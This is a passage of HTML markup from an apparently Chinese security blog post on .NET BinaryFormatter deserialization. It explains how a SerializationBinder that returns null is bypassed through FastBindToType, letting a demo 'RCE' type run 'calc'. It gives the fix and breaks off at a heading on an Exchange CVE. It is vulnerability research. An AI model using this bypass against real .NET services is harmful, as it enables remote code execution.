src="https://wechat2rss.xlab.app/img-proxy/?k=03ff694a&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FzleycDibFeiboLHeiaOqnicsUibzYqU80vWzYgwlgePwp12ic5abkga3rsvQKreIXpibzS6VNpLvibb5nKK5M2pzZmwH8A%2F640%3Fwx_fmt%3Dpng"/><figcaption style="box-sizing: border-box;margin: 0px;padding: 0px;text-align: center;color: rgb(136, 136, 136);line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 0.8em;">image.png</figcaption></figure><p style="box-sizing: border-box;margin: 1.5em 8px;padding: 0px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;orphans: 2;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;text-align: left;color: rgb(63, 63, 63);line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 15px;letter-spacing: 0.1em;">发现Binder并没有起作用，calc命令仍然赋值给了RCE的cmd字段。why？</p><h1 style="box-sizing: border-box;margin: 2em auto 1em;padding: 0px 1em;font-weight: bold;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;text-align: center;color: rgb(63, 63, 63);line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 1.2em;display: table;border-bottom: 1px solid rgb(248, 57, 41);">不起作用的Binder</h1><p style="box-sizing: border-box;margin: 1.5em 8px;padding: 0px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;orphans: 2;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;text-align: left;color: rgb(63, 63, 63);line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 15px;letter-spacing: 0.1em;">dnspy调试断在binder的return上然后下一步发现<img class="rich_pages wxw-img" data-backh="261" data-backw="562" data-galleryid="" data-ratio="0.4642857142857143" data-s="300,640" style="text-align: center;letter-spacing: normal;width: 100%;" data-type="png" data-w="952" src="https://wechat2rss.xlab.app/img-proxy/?k=8744ae42&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FzleycDibFeiboLHeiaOqnicsUibzYqU80vWzYJ0bWNUECKpeatTI2D7XKeeiaY3h0ZaPnO4DzwG4DNUYB590wvdNticaQ%2F640%3Fwx_fmt%3Dpng"/></p><figure style="box-sizing: border-box;margin: 1.5em 8px;padding: 0px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;text-align: left;color: rgb(63, 63, 63);line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 15px;"><figcaption style="box-sizing: border-box;margin: 0px;padding: 0px;text-align: center;color: rgb(136, 136, 136);line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 0.8em;">image.png</figcaption></figure><p style="box-sizing: border-box;margin: 1.5em 8px;padding: 0px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;orphans: 2;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;text-align: left;color: rgb(63, 63, 63);line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 15px;letter-spacing: 0.1em;">在调用完<code style="box-sizing: border-box;margin: 0px;padding: 3px 5px;text-align: left;color: rgb(221, 17, 68);line-height: 1.75;font-family: Menlo, &#34;Operator Mono&#34;, Consolas, Monaco, monospace;font-size: 13.5px;background: rgba(27, 31, 35, 0.05);border-radius: 4px;white-space: normal;">m_binder.BindToType(assemblyString, typeString)</code>之后，如果type为空，dotnet会帮我们再次处理类型，也就是<code style="box-sizing: border-box;margin: 0px;padding: 3px 5px;text-align: left;color: rgb(221, 17, 68);line-height: 1.75;font-family: Menlo, &#34;Operator Mono&#34;, Consolas, Monaco, monospace;font-size: 13.5px;background: rgba(27, 31, 35, 0.05);border-radius: 4px;white-space: normal;">FastBindToType()</code></p><p style="text-align: center;"><img class="rich_pages wxw-img" data-backh="744" data-backw="562" data-galleryid="" data-ratio="1.3241830065359477" data-s="300,640" style="width: 100%;height: auto;" data-type="png" data-w="765" src="https://wechat2rss.xlab.app/img-proxy/?k=66b07868&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FzleycDibFeiboLHeiaOqnicsUibzYqU80vWzYrR8rjjv8lNBWyIOaKPdPY8Tj6aicEGyrnKwj7n1ibZxe4oaXBrian8nbQ%2F640%3Fwx_fmt%3Dpng"/></p><p><br/></p><figure style="box-sizing: border-box;margin: 1.5em 8px;padding: 0px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;text-align: left;color: rgb(63, 63, 63);line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 15px;"><figcaption style="box-sizing: border-box;margin: 0px;padding: 0px;text-align: center;color: rgb(136, 136, 136);line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 0.8em;">image.png</figcaption></figure><p style="box-sizing: border-box;margin: 1.5em 8px;padding: 0px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;orphans: 2;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;text-align: left;color: rgb(63, 63, 63);line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 15px;letter-spacing: 0.1em;">FastBindToType先从typecache中获取程序集，如果拿不到程序集就尝试进行加载程序集获取type。</p><p style="box-sizing: border-box;margin: 1.5em 8px;padding: 0px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;orphans: 2;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;text-align: left;color: rgb(63, 63, 63);line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 15px;letter-spacing: 0.1em;">其中bSimpleAssembly值取自FEassemblyFormat<img class="rich_pages wxw-img" data-backh="225" data-backw="562" data-galleryid="" data-ratio="0.4" data-s="300,640" style="text-align: center;letter-spacing: normal;width: 100%;height: auto;" data-type="png" data-w="1080" src="https://wechat2rss.xlab.app/img-proxy/?k=486b391f&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FzleycDibFeiboLHeiaOqnicsUibzYqU80vWzYMCksP29qYCDgLiaa8yUJPhvqkSI4S3a7g4pxR5CJKzWY63pbTicU2C5g%2F640%3Fwx_fmt%3Dpng"/></p><figure style="box-sizing: border-box;margin: 1.5em 8px;padding: 0px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;text-align: left;color: rgb(63, 63, 63);line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 15px;"><figcaption style="box-sizing: border-box;margin: 0px;padding: 0px;text-align: center;color: rgb(136, 136, 136);line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 0.8em;">image.png</figcaption></figure><p style="box-sizing: border-box;margin: 1.5em 8px;padding: 0px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;orphans: 2;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;text-align: left;color: rgb(63, 63, 63);line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 15px;letter-spacing: 0.1em;">而FEassemblyFormat是InternalFE的一个字段<img class="rich_pages wxw-img" data-backh="208" data-backw="418" data-galleryid="" data-ratio="0.49760765550239233" data-s="300,640" style="text-align: center;letter-spacing: normal;width: 100%;height: auto;" data-type="png" data-w="418" src="https://wechat2rss.xlab.app/img-proxy/?k=bc4488c8&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FzleycDibFeiboLHeiaOqnicsUibzYqU80vWzYuWJKncQEX5zOo9Vz6fQAqprjEVmfwavU5V8cD2p4WQw2FTtPxwAibFA%2F640%3Fwx_fmt%3Dpng"/></p><figure style="box-sizing: border-box;margin: 1.5em 8px;padding: 0px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;text-align: left;color: rgb(63, 63, 63);line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 15px;"><figcaption style="box-sizing: border-box;margin: 0px;padding: 0px;text-align: center;color: rgb(136, 136, 136);line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 0.8em;">image.png</figcaption></figure><p style="box-sizing: border-box;margin: 1.5em 8px;padding: 0px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;orphans: 2;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;text-align: left;color: rgb(63, 63, 63);line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 15px;letter-spacing: 0.1em;">通过 <code style="box-sizing: border-box;margin: 0px;padding: 3px 5px;text-align: left;color: rgb(221, 17, 68);line-height: 1.75;font-family: Menlo, &#34;Operator Mono&#34;, Consolas, Monaco, monospace;font-size: 13.5px;background: rgba(27, 31, 35, 0.05);border-radius: 4px;white-space: normal;">binaryFormatter.AssemblyFormat = System.Runtime.Serialization.Formatters.FormatterAssemblyStyle.Simple</code>我们赋值bSimpleAssembly，如果不赋值默认值也为<code style="box-sizing: border-box;margin: 0px;padding: 3px 5px;text-align: left;color: rgb(221, 17, 68);line-height: 1.75;font-family: Menlo, &#34;Operator Mono&#34;, Consolas, Monaco, monospace;font-size: 13.5px;background: rgba(27, 31, 35, 0.05);border-radius: 4px;white-space: normal;">FormatterAssemblyStyle.Simple</code>，所以bSimpleAssembly默认为true，接着看<img class="rich_pages wxw-img" data-backh="275" data-backw="562" data-galleryid="" data-ratio="0.4896449704142012" data-s="300,640" style="text-align: center;letter-spacing: normal;width: 100%;height: auto;" data-type="png" data-w="676" src="https://wechat2rss.xlab.app/img-proxy/?k=fdded903&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FzleycDibFeiboLHeiaOqnicsUibzYqU80vWzYicxL7EnAsCaib9jQpYYsCC7MGJNb6slDXqoRtfBWJobibaInJiaiazFJMyw%2F640%3Fwx_fmt%3Dpng"/></p><figure style="box-sizing: border-box;margin: 1.5em 8px;padding: 0px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;text-align: left;color: rgb(63, 63, 63);line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 15px;"><figcaption style="box-sizing: border-box;margin: 0px;padding: 0px;text-align: center;color: rgb(136, 136, 136);line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 0.8em;">image.png</figcaption></figure><p style="box-sizing: border-box;margin: 1.5em 8px;padding: 0px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;orphans: 2;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;text-align: left;color: rgb(63, 63, 63);line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 15px;letter-spacing: 0.1em;">通过 ObjectReader.ResolveSimpleAssemblyName 解析程序集，然后<code style="box-sizing: border-box;margin: 0px;padding: 3px 5px;text-align: left;color: rgb(221, 17, 68);line-height: 1.75;font-family: Menlo, &#34;Operator Mono&#34;, Consolas, Monaco, monospace;font-size: 13.5px;background: rgba(27, 31, 35, 0.05);border-radius: 4px;white-space: normal;">ObjectReader.GetSimplyNamedTypeFromAssembly(assembly, typeName, ref type)</code>从程序集中拿type</p><p style="box-sizing: border-box;margin: 1.5em 8px;padding: 0px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;orphans: 2;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;text-align: left;color: rgb(63, 63, 63);line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 15px;letter-spacing: 0.1em;">在断点的地方已经拿到了RCE类的type<img class="rich_pages wxw-img" data-backh="305" data-backw="562" data-galleryid="" data-ratio="0.5416666666666666" data-s="300,640" style="text-align: center;letter-spacing: normal;width: 100%;height: auto;" data-type="png" data-w="1080" src="https://wechat2rss.xlab.app/img-proxy/?k=9c2f4d2b&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FzleycDibFeiboLHeiaOqnicsUibzYqU80vWzYOqkdHjByevnc26OpLLPGrUiatrRXV726VZwvF1yORkTPIg8jZrS6suw%2F640%3Fwx_fmt%3Dpng"/></p><figure style="box-sizing: border-box;margin: 1.5em 8px;padding: 0px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;text-align: left;color: rgb(63, 63, 63);line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 15px;"><figcaption style="box-sizing: border-box;margin: 0px;padding: 0px;text-align: center;color: rgb(136, 136, 136);line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 0.8em;">image.png</figcaption></figure><p style="box-sizing: border-box;margin: 1.5em 8px;padding: 0px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;orphans: 2;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;text-align: left;color: rgb(63, 63, 63);line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 15px;letter-spacing: 0.1em;">最终反序列化仍然拿到了RCE的type<img class="rich_pages wxw-img" data-backh="305" data-backw="562" data-galleryid="" data-s="300,640" data-w="1080" data-type="png" style="text-align: center;letter-spacing: normal;width: 100%;height: auto;" data-ratio="0.5416666666666666" src="https://wechat2rss.xlab.app/img-proxy/?k=0dd010aa&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FzleycDibFeiboLHeiaOqnicsUibzYqU80vWzYqwhuiawnBmcKQPoLEbRmRpnx0uoGcaq3wqwEkSaM0AXUsia1ia2WcLxpA%2F640%3Fwx_fmt%3Dpng"/></p><figure style="box-sizing: border-box;margin: 1.5em 8px;padding: 0px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;text-align: left;color: rgb(63, 63, 63);line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 15px;"><figcaption style="box-sizing: border-box;margin: 0px;padding: 0px;text-align: center;color: rgb(136, 136, 136);line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 0.8em;">image.png</figcaption></figure><p style="box-sizing: border-box;margin: 1.5em 8px;padding: 0px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;orphans: 2;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;text-align: left;color: rgb(63, 63, 63);line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 15px;letter-spacing: 0.1em;">而并没有受限于binder的类型绑定。</p><h1 style="box-sizing: border-box;margin: 2em auto 1em;padding: 0px 1em;font-weight: bold;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;text-align: center;color: rgb(63, 63, 63);line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 1.2em;display: table;border-bottom: 1px solid rgb(248, 57, 41);">如何正确使用binder？</h1><p style="box-sizing: border-box;margin: 1.5em 8px;padding: 0px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;orphans: 2;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;text-align: left;color: rgb(63, 63, 63);line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 15px;letter-spacing: 0.1em;">其实上文的demo中我已经给了修复的方法，当加载不允许的程序集type时应该直接抛出异常，而不是返回null。</p><figure style="box-sizing: border-box;margin: 1.5em 8px;padding: 0px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;text-align: left;color: rgb(63, 63, 63);line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 15px;"><img class="rich_pages wxw-img" data-backh="126" data-backw="319" data-ratio="0.3942446043165468" title="null" data-type="png" data-w="695" style="box-sizing: border-box;margin: 0.5em auto;padding: 0px;text-align: left;color: rgb(63, 63, 63);line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 15px;border-radius: 4px;display: block;width: 100%;height: auto;" src="https://wechat2rss.xlab.app/img-proxy/?k=e51433df&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FzleycDibFeiboLHeiaOqnicsUibzYqU80vWzYbS7G79MynMs6U5GYlOqCSPyJgXNapDWDicQoqwzJv0ic2L7Njjs1H8kQ%2F640%3Fwx_fmt%3Dpng"/><figcaption style="box-sizing: border-box;margin: 0px;padding: 0px;text-align: center;color: rgb(136, 136, 136);line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 0.8em;">image.png</figcaption></figure><p style="box-sizing: border-box;margin: 1.5em 8px;padding: 0px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;orphans: 2;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;text-align: left;color: rgb(63, 63, 63);line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 15px;letter-spacing: 0.1em;">在BlueHat中也提到过 <a href="https://www.slideshare.net/MSbluehat/dangerous-contents-securing-net-deserialization" target="_blank">https://www.slideshare.net/MSbluehat/dangerous-contents-securing-net-deserialization</a><img class="rich_pages wxw-img" data-galleryid="" data-s="300,640" data-w="1080" data-type="png" style="text-align: center;letter-spacing: normal;" data-ratio="0.5583333333333333" src="https://wechat2rss.xlab.app/img-proxy/?k=2c796a3a&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FzleycDibFeiboLHeiaOqnicsUibzYqU80vWzY5vynMeKVXuYib63180koJpGpKgnmzyUM62YicfLXRolftZgtQAgE70XA%2F640%3Fwx_fmt%3Dpng"/></p><figure style="box-sizing: border-box;margin: 1.5em 8px;padding: 0px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;text-align: left;color: rgb(63, 63, 63);line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 15px;"><figcaption style="box-sizing: border-box;margin: 0px;padding: 0px;text-align: center;color: rgb(136, 136, 136);line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 0.8em;">image.png</figcaption></figure><h1 style="box-sizing: border-box;margin: 2em auto 1em;padding: 0px 1em;font-weight: bold;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;text-align: center;color: rgb(63, 63, 63);line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 1.2em;display: table;border-bottom: 1px solid rgb(248, 57, 41);">CVE-2022-23277 of exchange</h1><p style="box-sizing: 